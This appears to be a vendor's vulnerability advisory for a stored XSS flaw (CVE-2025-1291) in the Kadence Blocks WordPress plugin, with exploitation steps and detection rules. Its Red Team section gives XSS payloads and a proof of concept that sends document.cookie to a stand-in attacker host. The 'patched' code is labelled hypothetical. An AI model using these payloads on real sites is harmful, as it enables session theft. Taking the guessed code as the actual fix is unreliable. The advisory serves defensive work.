CVE-2025-1291
Executive Summary
CVE-2025-1291 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks with AI by Kadence WP – Page Builder Features plugin for WordPress. The flaw exists in all versions up to and including 3.4.9, due to insufficient input sanitization and output escaping on the icon parameter. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts that execute when any user accesses a compromised page. This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Impact
This vulnerability specifically targets the Kadence Blocks plugin, a popular page builder for WordPress. Successful exploitation allows attackers to inject malicious JavaScript into posts or pages, leading to session hijacking, defacement, or redirection to malicious sites. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact due to the plugin's popularity.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires Contributor-level access.
- User Interaction (UI): None (N) – No user action needed for execution.
- Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While authentication is required, the prevalence of WordPress sites with multiple contributors increases the attack surface.
Deep Dive & Mechanics
The vulnerability resides in the icon parameter used by Kadence Blocks to render icons within Gutenberg blocks. The plugin fails to properly sanitize user input and escape output when processing this parameter. An attacker with Contributor-level access can craft a block containing a malicious payload in the icon field. When the block is rendered on a page, the payload executes in the context of the victim's browser.
Attack Flow:
- Attacker logs in with Contributor-level credentials.
- Creates or edits a post/page using Kadence Blocks.
- Inserts a block that accepts an
iconparameter (e.g., an icon list or button block). - Injects a JavaScript payload (e.g.,
<script>alert('XSS')</script>) into theiconfield. - Publishes or saves the post as draft.
- Any user (including admins) viewing the page triggers the payload.
Root Cause: The plugin uses echo $icon or similar without applying esc_attr() or wp_kses() for output escaping, and lacks proper validation on input.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.4.9):
// In a block render callback
$icon = get_post_meta( $post_id, 'kadence_icon', true );
echo '<span class="kadence-icon">' . $icon . '</span>';
Patched Code (Hypothetical):
// Properly escape output
$icon = get_post_meta( $post_id, 'kadence_icon', true );
echo '<span class="kadence-icon">' . esc_attr( $icon ) . '</span>';
The patch would use esc_attr() to HTML-encode the icon value, preventing script injection. Alternatively, wp_kses() could be used to allow only safe HTML tags.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with Kadence Blocks <= 3.4.9.
- Contributor-level account credentials.
Exploitation Steps:
- Log in to WordPress admin.
- Navigate to Posts > Add New.
- Add a Kadence Blocks element (e.g., Icon List).
- In the icon field, enter:
<img src=x onerror=alert(1)>or<script>alert(document.cookie)</script>. - Publish the post.
- Access the published post to trigger the XSS.
Proof-of-Concept (PoC):
<!-- Inject this into the icon field -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Detection Steps:
- Monitor for posts containing suspicious JavaScript in custom fields.
- Check for unusual
iconvalues in thewp_postmetatable:SELECT * FROM wp_postmeta WHERE meta_key LIKE '%kadence%icon%' AND meta_value LIKE '%<script%'; - Review user activity logs for Contributor accounts creating posts with Kadence Blocks.
Mitigation:
- Apply the vendor patch when available.
- Restrict Contributor-level access to trusted users only.
- Use a Web Application Firewall (WAF) to block XSS payloads.
Indicators of Compromise (IOCs)
File Indicators:
- Modified posts/pages containing
<script>tags in Kadence Blocks icon fields. - Suspicious entries in
wp_postmetawithmeta_keycontainingkadenceandmeta_valuecontaining JavaScript.
- Modified posts/pages containing
Network Indicators:
- Outbound connections to attacker-controlled domains from the WordPress server.
- HTTP requests to
/wp-admin/admin-ajax.phpwith suspicious payloads.
Log Indicators:
- WordPress audit logs showing Contributor accounts creating posts with unusual block configurations.
- Web server logs with
POSTrequests to/wp-admin/post.phpcontaining encoded JavaScript.
Detection Engineering
YARA Rule
rule CVE_2025_1291_Kadence_XSS {
meta:
description = "Detects stored XSS payloads in Kadence Blocks icon fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1291"
strings:
$icon_field = /kadence.*icon/i
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_img = /<img[^>]+onerror\s*=/i
condition:
$icon_field and ($xss_payload or $xss_img)
}
Sigma Rule
title: CVE-2025-1291 Kadence Blocks Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Kadence Blocks icon parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'kadence'
sc-status: 200
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1291 Kadence Blocks Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"kadence"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Kadence Blocks plugin until a patch is applied.
- Review all posts/pages created by Contributor-level users for suspicious content.
- Reset Contributor passwords and enforce multi-factor authentication.
Long-term Fixes:
- Apply the vendor patch when released (check Kadence WP updates).
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a WordPress security plugin to monitor file changes and user activity.
Workarounds:
- Restrict Contributor roles to only trusted users.
- Use a WAF rule to block
<script>tags in post content. - Manually sanitize the
iconfield by addingesc_attr()in the plugin code (if custom development is possible).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.